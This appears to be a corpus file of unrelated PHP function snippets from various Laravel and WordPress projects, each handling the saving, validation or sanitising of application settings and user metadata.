$user = $user ? : auth()->user();\n\n $user->setMeta('cod', array_get($data, 'cod'));\n $user->setMeta('bank_transaction', array_get($data, 'bank_transaction'));\n $user->setMeta('bank_credentials', strip_tags(array_get($data, 'bank_credentials')));\n $user->save();\n\n }", "function save_settings_logic( &$fields_string ){\n $ret = '';\n $onechanged=false;\n\n $post2expect = explode(',', $fields_string);\n if( count($post2expect) == 0 ){\n die('fatal error, count zero in save_settings_logic!');\n }\n\n //check how each POSTed setting should be handled\n foreach( $post2expect as $posted ){\n if( $this->is_settings_array($posted) === true ){\n /*# this is a settings array, compare post with existing settings #*/\n\n $parray = $this->get_post_array($posted, true);\n $sarray = $this->get_settings_array($posted);\n $tmp_array = $this->compare_settings_arrays( $sarray, $parray);\n\n /* new_settings now contains the new values to be stored or empty for \"no values\" */\n $array2store = $this->format_array($posted, $tmp_array);\n $this->save_settings_array($posted, $array2store);\n if( $this->settings_array_changes > 0 ){\n $onechanged=true;\n }else{\n //echo \"no changes to $posted<br>\";\n }\n\n }else{\n /*# regular string setting #*/\n $settings = $this->get_settings();\n\n //handle regular strings here\n if( array_key_exists($posted, $_POST) === true && $settings[$posted] != $_POST[$posted] ){\n //setting found and setting has changed, UPDATE!\n $this->save_settings($posted, $_POST[$posted]);\n $onechanged=true;\n }else{\n //echo \"NOT: s: \".$settings[$posted].\" vs p: \".$_POST[$posted].\"<br>\";\n }\n }\n }\n\n if( $onechanged === true ){\n //clear cached ovpn list\n unset($_SESSION['ovpn_assembled']);\n unset($_SESSION['ovpn']);\n $ret = \"<div id=\\\"feedback\\\" class=\\\"feedback\\\">Settings updated</div>\\n\";\n }\n return $ret;\n }", "function validate($data,$schema,$level=1){\r\n\t$schemaFields = array_keys($schema);\r\n\t\r\n\t// Loop through all the fields\r\n\tforeach($schemaFields as $schemaField){\r\n\t\t// Exlude the schema and version fields\r\n\t\tif($schemaField == \"schema\" || $schemaField == \"version\")\r\n\t\t\tcontinue;\r\n\t\t\r\n\t\t// Check if a field is SET\r\n\t\tif(isset($data[$schemaField]) && !is_array($data[$schemaField])){\r\n\t\t\t// Check to see if the data type of the field is according to the specification\r\n\t\t\tif(isset($schema[$schemaField][\"type\"]) && $schema[$schemaField][\"type\"] != \"REGEX\"){\r\n\t\t\t\tif(checkType($data[$schemaField], $schema[$schemaField][\"type\"])){\r\n\t\t\t\t\techo $schemaField.\" is SET and VALID\\r\\n\";\r\n\t\t\t\t}else{\t\t\t\t\t\r\n\t\t\t\t\techo $schemaField.\" is SET but INVALID \\r\\n\";\r\n\t\t\t\t\treturn false;\r\n\t\t\t\t}\r\n\t\t\t}else{\r\n\t\t\t\techo $schemaField.\" is SET\\r\\n\";\r\n\t\t\t}\r\n\r\n\t\t// We assume that this means there is a JSON object in the schema containing the nested fields\r\n\t\t}elseif(isset($data[$schemaField]) && is_array($data[$schemaField])){\r\n\t\t\t$level++;\r\n\t\t\t// Recursive function! Be careful. Considering limiting the number of levels appropriate.\r\n\t\t\t$ret = validate($data[$schemaField],$schema[$schemaField],$level);\t\r\n\t\t\tif(!$ret)\r\n\t\t\t\treturn false;\r\n\t\t\t\r\n\t\t\t$level--;\r\n\t\t\techo \"Back at level: \".$level.\"\\r\\n\";\r\n\t\t\r\n\t\t// If the field was not found in the data array, we must verify if it is required or not according to the schema\r\n\t\t}else{\r\n\t\t\tif($schema[$schemaField]['required']){\r\n\t\t\t\t// An error that the field is missing. This should also mean that the Metadata is invalidated.\r\n\t\t\t\techo \"Schema validation error: \".$schemaField.\"-field is required...\\r\\n\";\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\r\n\t\t\t// A warning that the current field is missing, but not required. We do nothing at this point\r\n\t\t\techo $schemaField.\" is NOT set\\r\\n\";\r\n\t\t}\r\n\t}\r\n\t\r\n\t// Check for unknown fields described in the metadata but NOT in the schema\r\n\t$dataFields = array_keys($data); // Get keys from the metadata\r\n\t$unknownFields = array_diff($dataFields, $schemaFields); // Return differences between the 2 arrays\r\n\tif($unknownFields){\r\n\t\tforeach($unknownFields as $unknownField){\r\n\t\t\techo $unknownField.\" is an unknown field.\\r\\n\";\r\n\t\t}\r\n\t}\r\n\t\r\n\t// If we get to here, we assume everything is OK\r\n\treturn true;\r\n}", "function validateMetaData($data){\n\t$schema = $data['schema'].'_'.$data['version'].'.json';\n\t\n\t// Validate if the Meta Data exists.\n\t// It's up to the software engineer to decide if the non existence of a Meta Data Schema file results into a true or false validation\n\tif(file_exists('schemas/'.$schema)){\n\t\t// Read the Schema file and decode into associative arrays\n\t\t$schema = file_get_contents('schemas/'.$schema);\n\t\t$schema = json_decode($schema,true);\n\t\t\n\t\t// Get the fieldnames from the Schema by abstracting the array keys\n\t\t$ret = validate($data,$schema);\n\t\tif(!$ret)\n\t\t\treturn false;\n\t}else{\n\t\t// The software engineer will have to decide how it's program will behave when there is nog Schema file found\n\t\techo \"Schema file not found.\\r\\n\";\n\t\techo \"Assume \";\n\t}\n\t\n\t// All is good. Meta Data is valid\n\treturn true;\n}", "function settingsIsValid($key)\n {\n return app('Padosoft\\Laravel\\Settings\\SettingsManager')->isValid($key);\n }", "public function store()\n\t{\n\n\t\t $validator = Validator::make(Input::all(), $this->rules);\n\n\t\t if($validator->fails())\n {\n return Response::json(array('settingsUpdated' => false, 'errorMessages' => $validator->messages()));\n }\n\n\n\t\tforeach (Input::all() as $key => $value) {\n\t\t\tSettings::set($key, $value);\n\t\t}\n\n\t\tif (Input::has('site_offline')) {\n \tSettings::set('site_offline', 1);\n }else{\n \tSettings::set('site_offline', 0);\n }\n\n\t\treturn Response::json(array('settingsUpdated' => true, 'message' => trans('Las opciones se han guardado correctamente'), 'messageType' => 'success'));\n\t}", "protected function validate_data_fields(){\n\t\tif(empty($this->RESPONSE)){throw new Exception(\"Response field not found\", 5);}\n\t\t\n\t\t// The remote IP address is also required\n\t\tif($this->validate_ip($this->REMOTE_ADDRESS)){throw new Exception(\"Renote IP address not set correctly\", 6);}\n\t}", "public function postUpdate()\n\t{\n $input = Input::only('global_prefix','panel_path', 'domain_limit', 'phone_number_limit', 'mail_address', 'sender_name', 'sip_server','reserved_extension','reserved_domain_prefix');\n\n $rules = array(\n 'global_prefix' => 'required|min:1|max:10',\n 'panel_path' => 'required|min:1',\n 'domain_limit' => 'required|numeric',\n 'phone_number_limit' => 'required|numeric',\n 'mail_address' => 'required|email',\n 'sender_name' => 'required|min:1',\n 'sip_server' => 'required|min:3',\n 'reserved_extension' => 'required|min:3',\n 'reserved_domain_prefix' => 'required|min:3',\n );\n $v = Validator::make($input, $rules);\n if ($v->fails()) {\n return Output::push(array('path' => 'main_config', 'errors' => $v, 'input' => TRUE));\n }\n\n $panel_path = Setting::whereName('global_prefix')->first();\n $panel_path->value = $input['global_prefix'];\n $panel_path->save();\n\n $panel_path = Setting::whereName('panel_path')->first();\n $panel_path->value = $input['panel_path'];\n $panel_path->save();\n\n $domain_limit = Setting::whereName('domain_limit')->first();\n $domain_limit->value = $input['domain_limit'];\n $domain_limit->save();\n\n $phone_number_limit = Setting::whereName('phone_number_limit')->first();\n $phone_number_limit->value = $input['phone_number_limit'];\n $phone_number_limit->save();\n\n $mail_address = Setting::whereName('mail_address')->first();\n $mail_address->value = $input['mail_address'];\n $mail_address->save();\n\n $sender_name = Setting::whereName('sender_name')->first();\n $sender_name->value = $input['sender_name'];\n $sender_name->save();\n\n $sip_server = Setting::whereName('sip_server')->first();\n $sip_server->value = $input['sip_server'];\n $sip_server->save();\n\n $reserved_extension = Setting::whereName('reserved_extension')->first();\n $reserved_extension->value = $input['reserved_extension'];\n $reserved_extension->save();\n\n $reserved_domain_prefix = Setting::whereName('reserved_domain_prefix')->first();\n $reserved_domain_prefix->value = $input['reserved_domain_prefix'];\n $reserved_domain_prefix->save();\n\n if ($panel_path->id && $domain_limit->id && $phone_number_limit && $mail_address && $sender_name && $sip_server && $reserved_domain_prefix &&$reserved_extension) {\n return Output::push(array(\n 'path' => 'main_config',\n 'messages' => array('success' => _('You have updated main configuration successfully')),\n ));\n } else {\n return Output::push(array(\n 'path' => 'main_config',\n 'messages' => array('fail' => _('Fail to update main configuration')),\n 'input' => TRUE,\n ));\n }\n\t}", "public function updateDashboardSettings(Request $request)\n {\n $err = array();\n $this->validate($request, [\n 'is_forms_link' => 'required',\n 'is_users_link' => 'required',\n 'is_groups_link' => 'required',\n 'is_departments_link' => 'required',\n 'is_submitted_link' => 'required',\n ]);\n $set_names = [\n 'forms'=>'is_forms_link',\n 'users'=>'is_users_link',\n 'groups'=>'is_groups_link',\n 'departments'=>'is_departments_link',\n 'submitted'=>'is_submitted_link',\n ];\n foreach ($set_names as $name => $value) {\n $dashboard = Setting::where(['group' => 'dashboard','name' =>$name])\n ->update(['value' => $request->input($value)]);\n if(!$dashboard){\n $err[] = $dashboard;\n }\n }\n\n if(empty($err)){\n return redirect()->back()->with('success', 'Settings Updated!');\n }else{\n return redirect()->back()->with('error', 'Error Updating!: ' . implode(', ', $err));\n }\n }", "function wtr_validate_options( $input ) {\r\n\r\n\t\t\tswitch( $_POST['submitControl'] ){\r\n\r\n\t\t\t\t//restore default settings\r\n\t\t\t\tcase 'default-settings':\r\n\t\t\t\t\tupdate_option( $this->settings->get_WP_ERROR(), 'default' );\r\n\t\t\t\t\tupdate_option( $this->settings->get_WP_REWRITE_FLUSH(), 1 );\r\n\t\t\t\t\tdo_action( 'wtr_default_settings' );\r\n\t\t\t\t\treturn null;\r\n\t\t\t\tbreak;\r\n\r\n\t\t\t\t// writing by ajax\r\n\t\t\t\tcase 'ajax':\r\n\t\t\t\t\t$opt_a = $this->settings->get( 'opt_a' );\r\n\t\t\t\tbreak;\r\n\r\n\t\t\t\t// restore settings from the backup system\r\n\t\t\t\tcase 'import-auto':\r\n\t\t\t\t\t$opt_a = $this->settings->get( 'opt_a' );\r\n\t\t\t\t\t$input = wtr_get_export_theme_settings( $_POST[ 'wtr_export_theme_settings' ] );\r\n\t\t\t\t\t$status = 'import_data' ;\r\n\t\t\t\tbreak;\r\n\r\n\t\t\t\t// restore settings from text\r\n\t\t\t\tcase 'import-text':\r\n\t\t\t\t\t$opt_a = $this->settings->get( 'opt_a' );\r\n\t\t\t\t\t$input = wtr_decode_theme_settings( wp_remote_fopen( $_POST[ 'wtr_admin_import_settings_text' ] ) );\r\n\t\t\t\t\t$status = 'import_data' ;\r\n\t\t\t\tbreak;\r\n\r\n\t\t\t\tdefault:\r\n\t\t\t\t\t$opt_a = $this->settings->get( 'opt_a' );\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\r\n\t\t\t$flaga\t\t\t= false;\r\n\t\t\t$new_opt\t\t= array();\r\n\t\t\t$status_flush\t= 0;\r\n\t\t\t$opt\t\t\t= $this->settings->get( 'opt' );\r\n\r\n\r\n\t\t\tforeach ( $opt as $group ) {\r\n\t\t\t\tforeach ( (array ) $group->get('sections') as $section ) {\r\n\t\t\t\t\tforeach ( ( array ) $section->get('fields') as $field ) {\r\n\r\n\t\t\t\t\t\t$id_field\t= $field->get( 'id' );\r\n\t\t\t\t\t\t$allow\t\t= $field->get( 'allow' );\r\n\t\t\t\t\t\t$value\t\t= $field->get( 'value' );\r\n\r\n\t\t\t\t\t\tif( isset( $input[ $id_field ] ) ){\r\n\t\t\t\t\t\t\t$new_value = ( ! is_array( $input[ $id_field ] ) ) ? trim ( $input[ $id_field ] ) : $input[ $id_field ];\r\n\r\n\t\t\t\t\t\t\tif( $allow == 'between' ){\r\n\t\t\t\t\t\t\t\t$min\t\t\t= $field->get( 'min' );\r\n\t\t\t\t\t\t\t\t$max\t\t\t= $field->get( 'max' );\r\n\t\t\t\t\t\t\t\t$has_attr\t\t= $field->get( 'has_attr' );\r\n\t\t\t\t\t\t\t\t//$input[ $key ]\t= trim( $input[ $key ] );\r\n\r\n\t\t\t\t\t\t\t\t$flaga = WTR_Validate::check( $allow, $new_value, $max, $min, $has_attr );\r\n\t\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t\t$flaga = WTR_Validate::check( $allow, $new_value ) ;\r\n\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t//default value\r\n\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t$new_value\t= $field->get( 'default_value' );\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t$new_opt[ $id_field ]\t= $new_value;\r\n\t\t\t\t\t\t$new_opt\t\t\t\t= $this->settings->set_opt_a( $new_opt, $field, $new_value );\r\n\r\n\t\t\t\t\t\t//checking slug\r\n\t\t\t\t\t\tif( $status_flush != 1 AND strpos( $id_field, '_Slug' ) AND $value != $new_value ){\r\n\t\t\t\t\t\t\t$status_flush = 1;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tif( ! $flaga ){\r\n\t\t\t\t\t\t\tbreak 3;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\tif( ! $flaga ){\r\n\r\n\t\t\t\t$new_opt = $this->settings->get( 'opt_a' );\r\n\r\n\t\t\t\tif( isset( $status ) AND 'import_data' == $status ) {\r\n\t\t\t\t\tupdate_option( $this->settings->get_WP_ERROR(), 'import_error' );\r\n\t\t\t\t}\r\n\r\n\t\t\t\tif( empty( $status ) OR 'import_data' != $status ){\r\n\t\t\t\t\techo 'wtr_save_option_error';\r\n\t\t\t\t\texit;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\telse if ( isset( $status ) ){\r\n\r\n\t\t\t\tupdate_option( $this->settings->get_WP_ERROR(), $status );\r\n\t\t\t\tdo_action( 'wtr_import_data', $input );\r\n\t\t\t}\r\n\r\n\t\t\tif( $flaga AND isset( $status_flush ) ){\r\n\t\t\t\tupdate_option( $this->settings->get_WP_REWRITE_FLUSH(), $status_flush );\r\n\t\t\t}\r\n\r\n\t\t\treturn base64_encode( serialize( $new_opt ) );\r\n\t\t}", "public function sanitizeSettings($settings) {\n // Make sure 'enable_ads' isn't missing altogether when not checked\n if (!array_key_exists('enable_ads', $settings)) {\n $settings['enable_ads'] = '0';\n }\n return $settings;\n }", "protected function validate($data) \n {\n $errorsFound = false;\n \n foreach ($data as $key => $value) {\n if (!property_exists($this->entity, $key)) {\n unset($data[$key]);\n }\n }\n \n if (!array_key_exists('campaign', $data) || get_class($data['campaign']) != 'Campaign\\Entity\\Campaign') {\n Session::error(\"An invalid campaign was specified to one of the widgets!\");\n $errorsFound = true;\n }\n \n if (!array_key_exists('widgetType', $data) || !array_key_exists($data['widgetType'], $this->widgetsMap)) {\n Session::error(\"You are trying to add an invalid widget type!\");\n $errorsFound = true;\n }\n \n if (!array_key_exists('earningValue', $data) || empty($data['earningValue'])) {\n Session::error(\"Every widget must have an earning value!\");\n $errorsFound = true;\n } elseif (!is_numeric($data['earningValue'])) {\n Session::error(\"Widget earning values must be numeric!\");\n $errorsFound = true;\n } elseif ($data['earningValue'] <= 0) {\n Session::error(\"Widgets Earning Values must be greater than 0!\");\n $errorsFound = true;\n } elseif ($data['earningValue'] > 10000) {\n Session::error(\"Widgets Earning Values cannot be greater than 10000!\");\n $errorsFound = true;\n }\n \n if (!array_key_exists('title', $data) || empty($data['title'])) {\n Session::error(\"Every widget must have a title!\");\n $errorsFound = true;\n } elseif ($data['title'] > 32) {\n Session::error(\"The widget Title cannot be longer than 32 characters!\");\n $errorsFound = true;\n }\n \n if (array_key_exists('optionsSerialized', $data) && strlen($data['optionsSerialized']) > 10000) {\n Session::error(\"You have to many options on your widget!\");\n $errorsFound = true;\n }\n \n return !$errorsFound;\n }", "public function postUpdateOptions() {\n\n\n $rule = array('name_company' => 'required',\n 'adressa' => 'required',\n 'phone' => 'required',\n 'info_email' => 'required',\n 'support_email' => 'required',\n 'website' => 'required',\n 'provim_active' => 'required'\n );\n $valid = Validator::make(Input::all(), $rule);\n\n if ($valid->passes()) {\n $update = array('name_company' => Input::get('name_company'),\n 'adressa' => Input::get('adressa'),\n 'phone' => Input::get('phone'),\n 'info_email' => Input::get('info_email'),\n 'support_email' => Input::get('support_email'),\n 'website' => Input::get('website'),\n 'provim_active' => Input::get('provim_active')\n );\n // update logo\n if (Input::hasFile('logo')) {\n $destination = $_SERVER['DOCUMENT_ROOT'] . '/img/';\n $logo = str_random(20) . date('Y_m_d_(H_i_s)') . '.' . Input::file('logo')->getClientOriginalExtension();\n Input::file('logo')->move($destination, $logo);\n // $logo = logo.png\n $update['logo'] = $logo;\n }\n Settings::where('id', '=', '1')->update($update);\n return Redirect::back()->with(['message' => Enum::successful, \"reason\" => Lang::get('warn.success_update')]);\n } else {\n return Redirect::back()->with(['message' => Enum::failed, \"reason\" => Lang::get('warn.error_undefined')]);\n }\n }", "static public function save_setup_settings() {\n\n $data = WPP_F::parse_str( $_REQUEST[ 'data' ] );\n\n $_setup = array(\n 'api' => WPP_API_URL_STANDARDS,\n 'data' => $data,\n 'schema' => self::get_settings_schema()\n );\n\n $_current_settings = get_option('wpp_settings');\n\n $_modified_settings = WPP_F::extend( $_current_settings, $_setup['schema'] );\n\n //die( '<pre>' . print_r( $_modified_settings['field_alias'], true ) . '</pre>' );\n\n if( is_array( $_modified_settings['property_stats_groups'] ) ) {\n // $_modified_settings['property_stats_groups'] = array_unique( $_modified_settings['property_stats_groups'] );\n }\n\n // @note This kills c.rabbit.ci response via Varnish, perhaps some sort of log output somewhere.\n if( is_array( $_modified_settings['searchable_attributes'] ) ) {\n // $_modified_settings[ 'searchable_attributes' ] = array_unique( $_modified_settings[ 'searchable_attributes' ] );\n }\n\n // preserve field aliases\n $_modified_settings['field_alias'] = $_current_settings['field_alias'];\n\n $_modified_settings['_updated'] = time();\n\n update_option( 'wpp_settings', $_modified_settings );\n\n $posts_array = get_posts( array(\n 'posts_per_page' => 1,\n 'orderby' => 'date',\n 'order' => 'DESC',\n 'post_type' => 'property',\n 'post_status' => 'publish',\n 'suppress_filters' => true\n ) );\n\n $return[ 'props_single' ] = get_permalink( $posts_array[ 0 ]->ID );\n\n $return[ '_settings' ] = $data[ 'wpp_settings' ];\n\n self::flush_cache();\n\n wp_send_json( $return );\n\n }", "public function updateSetting($post){\n $withdraw_commission=mysqli_real_escape_string(database::connect(),$post['withdraw_commission']);\n $send_user_commission=mysqli_real_escape_string(database::connect(),$post['send_user_commission']);\n $general_user_amount=mysqli_real_escape_string(database::connect(),$post['general_user_amount']);\n $special_user_amount=mysqli_real_escape_string(database::connect(),$post['special_user_amount']);\n $special_user_commission=mysqli_real_escape_string(database::connect(),$post['special_user_commission']);\n $total_special_user=mysqli_real_escape_string(database::connect(),$post['total_special_user']);\n $direct_refer=mysqli_real_escape_string(database::connect(),$post['direct_refer']);\n $global_commission=mysqli_real_escape_string(database::connect(),$post['global_commission']);\n $level_commission=mysqli_real_escape_string(database::connect(),$post['level_commission']);\n $special_amount=mysqli_real_escape_string(database::connect(),$post['special_amount']);\n $num_refer=mysqli_real_escape_string(database::connect(),$post['num_refer']);\n\n\n if(empty($withdraw_commission) || empty($send_user_commission) || empty($general_user_amount) || empty($special_user_amount) || empty($num_refer) || empty($special_user_commission) || empty($total_special_user) || empty($direct_refer) || empty($global_commission) || empty($level_commission) || empty($special_amount)){\n $msg= \"<p class='alert alert-danger'><strong>Error!</strong> Field must not be empty.</p>\";\n return $msg;\n }else{\n\n $update_query=\"UPDATE tbl_setting SET \n withdraw_commission='$withdraw_commission',\n send_user_commission='$send_user_commission',\n general_user_amount='$general_user_amount',\n special_user_amount='$special_user_amount',\n special_user_commission='$special_user_commission',\n total_special_user='$total_special_user',\n direct_refer='$direct_refer',\n global_commission='$global_commission',\n level_commission='$level_commission',\n special_amount='$special_amount',\n num_refer='$num_refer'\n \";\n $result=database::connect()->query($update_query);\n if($result){\n $msg= \"<p class='alert alert-success' ><strong>Success!</strong> Your account update success.</p>\";\n return $msg;\n }\n }\n\n }", "public function update(Request $request, content_management $content_management) {\n\n $content_management = content_management::find($content_management->content_id);\n \n $errors = array();\n\n $rules = [\n 'description' => 'required',\n 'content_id' => 'required'\n ];\n\n\n $messages = [\n 'required' => 'The :attribute is required.',\n// 'type_id.required' => 'Type Name is required.',\n ];\n\n $customAttributes = [\n 'description' => 'Privacy Policy',\n ];\n $validator = Validator::make($request->all(), $rules, $messages, $customAttributes);\n \n// $validator = Validator::make($request->all(), [\n//// 'subtype_name' => 'required',\n// ]);\n\n $description = $request->description;\n \n if($validator->fails() || !empty($errors)) {\n foreach($errors as $error) {\n $validator->errors()->add('field',$error);\n }\n\n return redirect('admin/content_management/'.$content_management->content_id.'/edit')->withErrors($validator)->withInput();\n }\n else {\n $promo_rate=preg_replace(\"/[^0-9]./\", \"\",$promo_rate);\n $redeem_per_user=(int) $redeem_per_user;\n $fieldvalues = [\n 'description' => $description\n ];\n\n $updated = DB::table('content_management')->where('content_id', $content_management->content_id)->update($fieldvalues);\n\n return redirect('admin/content_management/'.$content_management->content_id.'/edit')->with('success', 'Update successfully'); \n }\n }", "public function postChangeInfo(){\n $validator = Validator::make(Input::all(),\n array(\n 'first_name' => 'max:50',\n 'last_name' => 'max:50',\n 'address' => 'max:100',\n 'city' => 'max:50',\n 'state' => 'max:2|min:2',\n 'zipcode' => 'max:5|min:5',\n 'phone_number' => 'max:10|min:10'\n )\n );\n\n if($validator->fails()) {\n return Redirect::route('user-change-settings')\n ->withErrors($validator); \n } else {\n $user = Auth::user();\n\n foreach(Input::except('_token') as $key => $value){\n if(Input::has($key)){\n $user[$key] = Input::get($key);\n }\n }\n\n\n if($user->save()){\n return Redirect::route('user-change-settings')\n ->with('global','Your settings have been changed.');\n } else {\n return Redirect::route('user-change-settings')\n ->with('global','System error. Your settings have not been changed.');\n } \n }\n \n return Redirect::route('user-change-settings')\n ->with('global','System error. Your settings have not been changed.');\n }", "public function update(Request $request, ShopMeta $shopMeta)\n {\n $shopMeta->update([\n 'user_id'=>auth()->user()->id,\n 'phone2'=>$request['phone2'],\n 'instagram'=>$request->instagram,\n 'telegram'=>$request->telegram,\n ]);\n\n }", "private function check_pending_meta(){\n\n\t\t$sql_pending_meta = \" SELECT * FROM \".$this->db->prefix.\"postmeta WHERE meta_key = '_meta_required' AND meta_value LIKE '%start_meta_process%'\";\n\n\t\t$all_pending_meta = sl_connection_query('read', $sql_pending_meta);\n\t \n\t if (!empty($all_pending_meta)){\n\n\t \t$now = strtotime('now');\n\t\n\t \tforeach ($all_pending_meta as $pending_meta) {\n\t \t\t\t\n\t\t\t\t$meta_id = $pending_meta['meta_id'];\n\t\t\t $attach_id = $pending_meta['post_id'];\n\t\t\t\t$pending_meta_data = json_decode(stripslashes($pending_meta['meta_value']),1);\n\t\t\t\tif (isset($pending_meta_data['start_meta_process'])){\n\n\t\t\t\t\t$interval = abs($now - $pending_meta_data['start_meta_process']);\n\t\t\t\t\t$minutes = round($interval / 60);\n\t\t\t\t\t\n\t\t\t\t\tif ($minutes < 10){\n\t\t\t\t\t\n\t\t\t\t\t sl_debbug('Less than 10 minutes processing item with meta_id '.$meta_id.', we let it finish.', 'mediameta');\n\n\t\t\t\t\t}else{\n\t\t\t\t\t\t \n\t\t\t\t\t\tsl_debbug('More than 10 minutes processing item with meta_id '.$meta_id.', we set it to run one last time.', 'mediameta');\n\t\t \t$meta_required_data = array('save_path' => $pending_meta_data['save_path'], 'n_try' => 3);\n\t\t\t\t\t\tif (!$result_update = update_metadata_by_mid( 'post', $meta_id, json_encode($meta_required_data))){\n\n\t\t\t\t\t\t\tsl_debbug('## Error. Updating last try to pending item with meta_id: '.$meta_id, 'mediameta');\n\n\t\t\t\t\t if (!$result_delete = $this->sl_delete_metadata_by_mid( 'post', $meta_id )){\n\n\t\t\t\t\t \t\tsl_debbug('## Error. Deleting pending item with meta_id: '.$meta_id, 'mediameta');\n\n\t\t\t\t\t \t}\n\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t \t}\n\n\t\t}\n\n\t}", "public function is_core_valid() {\n\t\t$core_settings = [\n\t\t\t'data_owner',\n\t\t\t'username',\n\t\t\t'secret',\n\t\t\t'recipient',\n\t\t\t'requirement_set',\n\t\t\t'taxonomy_id',\n\t\t];\n\n\t\t$valid = true;\n\n\t\tforeach ( $core_settings as $setting ) {\n\t\t\tif ( empty( $this->api[ $setting ] ) ) {\n\t\t\t\t$valid = false;\n\t\t\t}\n\t\t}\n\n\t\treturn $valid;\n\t}", "function _terminatur_settings_validate($settings_file) {\n // Check for the terminatur signature\n $settings = file_get_contents($settings_file);\n if (strpos($settings, TERMINATUR_VALIDATION_STRING) !== false) {\n // Settings have been touched by the terminatur before\n // But let's verify they still work\n $databases = array();\n $drupal_6 = FALSE;\n // Get Drupal 6 stuff\n if (strpos($settings, \"db_url\") !== false) {\n $drupal_6 = TRUE;\n $db_url = '';\n $db_prefix = '';\n }\n \n //Stub function to avoid error on validations.\n function drupal_fast_404(){} \n \n // Load settings file\n require $settings_file;\n // Parse drupal 6\n if ($drupal_6) {\n $databases = _terminatur_data_parse_db_url($db_url, $db_prefix);\n }\n // Return false if there are no DB settings to be found\n if (!isset($databases)) {\n return FALSE;\n }\n return _terminatur_data_test_db_connection($databases);\n }\n return FALSE;\n}", "public static function filter__update_post_meta( $check, $object_id, $meta_key, $meta_value, $prev_value ) {\n\t\t\t\n\t\t\tif ( $meta_key != self::$_wpseo_canonical_meta_key ) {\n\t\t\t\treturn null;\n\t\t\t}\n\t\t\t\n\t\t\t$_value = $meta_value;\n\t\t\t\n\t\t\tif ( empty( $_value ) ) {\n\t\t\t\t\n\t\t\t\tif ( empty( $_POST[ self::$_wpseo_canonical_input_id ] ) ) {\n\t\t\t\t\treturn null;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$_value = $_POST[ self::$_wpseo_canonical_input_id ];\n\t\t\t\t\n\t\t\t}\n\n\t\t\tif ( ! WPGlobus_Core::has_translations( $_value ) ) {\n\t\t\t\treturn null;\n\t\t\t}\n\t\t\t\n\t\t\tglobal $wpdb;\n\t\t\t\n\t\t\t$result = false;\n\t\t\t$_meta_id = null;\n\t\t\t\n\t\t\t$_meta_id = $wpdb->get_var(\n\t\t\t\t$wpdb->prepare(\n\t\t\t\t\t\"SELECT meta_id FROM $wpdb->postmeta WHERE meta_key = %s AND post_id = %d LIMIT 1;\",\n\t\t\t\t\t$meta_key, $object_id\n\t\t\t\t)\n\t\t\t);\n\t\t\t\n\t\t\t$query = false;\n\t\t\t\n\t\t\tif ( is_null($_meta_id)) {\n\t\t\t\n\t\t\t\tif ( ! empty($_value) ) {\n\t\t\t\t\t\n\t\t\t\t\t$query = $wpdb->prepare( \n\t\t\t\t\t\t\"\n\t\t\t\t\t\t\tINSERT INTO $wpdb->postmeta\n\t\t\t\t\t\t\t( post_id, meta_key, meta_value )\n\t\t\t\t\t\t\tVALUES ( %d, %s, %s )\n\t\t\t\t\t\t\", \n\t\t\t\t\t\t$object_id, \n\t\t\t\t\t\t$meta_key, \n\t\t\t\t\t\t$_value \n\t\t\t\t\t);\n\n\t\t\t\t}\n\t\t\t\t\n\t\t\t} else {\n\n\t\t\t\tif ( ! empty($_value) ) {\n\t\t\t\t\t\n\t\t\t\t\t$query = $wpdb->prepare( \n\t\t\t\t\t\t\"\n\t\t\t\t\t\t\tUPDATE $wpdb->postmeta \n\t\t\t\t\t\t\tSET meta_value = %s\n\t\t\t\t\t\t\tWHERE meta_id = %d\n\t\t\t\t\t\t\",\n\t\t\t\t\t\t$_value, $_meta_id\n\t\t\t\t\t);\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\tif ( ! $query ) {\n\t\t\t\treturn null;\n\t\t\t}\n\t\t\t\n\t\t\t$result = $wpdb->query( $query );\n\t\t\t\n\t\t\tif ( $result ) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\t\n\t\t\treturn null;\n\t\t\t\n\t\t}", "public function update(Request $request)\n {\n $this->validate($request, [\n 'admission_open_date' => 'required|date_format:Y-m-d',\n 'admission_close_date' => 'required|date_format:Y-m-d',\n 'current_session' => 'required|regex:/\\d{4}\\/\\d{4}/',\n 'late_payment_fee' => 'required|numeric',\n 'admission_payment_fee' => 'required|numeric',\n 'acceptance_payment_fee' => 'required|numeric',\n ]);\n\n foreach ($request->post() as $name => $value) {\n SystemSetting::where('name', $name)->update(['value' => $value]);\n }\n\n return redirect()->route('settings.index')->with('success', 'Settings updated');\n }", "public static function validateUpdate($data) {\n\t\t$v = parent::getValidationObject($data);\n\n\t\t//Set rules\n\t\t$v->rule('optional', 'name')\n\t\t ->rule('lengthMin', 'name', 1)->message(__('Name size is too small!'))\n\t\t ->rule('relationData', 'property', 'int')->message(__('Incorrect data format for category properties!'));\n\n\t\t//Validate\n\t\treturn parent::validate($v, self::$__validationErrors);\n\t}", "public function updateSeoSettings($request)\n {\n $req = $request->all();\n $data['facebook'] = @$request->facebook;\n $data['googleanalytics'] = @$request->googleanalytics;\n $data['pagespeedinsights'] = @$request->pagespeedinsights;\n $data['twittercards'] = @$request->twittercards;\n $data['titlemeta'] = @$request->titlemeta;\n $data['common'] = @$request->common;\n\n foreach ($data as $key => $val) {\n $setting = Setting::where('section', 'seo')->where('settingkey', $key)->first();\n if (!$setting) {\n $setting = new Setting;\n $setting->section = 'seo';\n $setting->settingkey = $key;\n }\n $setting->val = (is_array($val)) ? serialize($val) : $val;\n $setting->save();\n }\n\n $this->helpers->updatesession('Settings updated successfully');\n }", "public function process(ServerRequest $request): bool\n {\n $this->populate($this->settingsRepo->fetchArray(false));\n\n // Handle submission.\n if ('POST' === $request->getMethod() && $this->isValid($request->getParsedBody())) {\n $data = $this->getValues();\n $this->settingsRepo->setSettings($data);\n return true;\n }\n\n 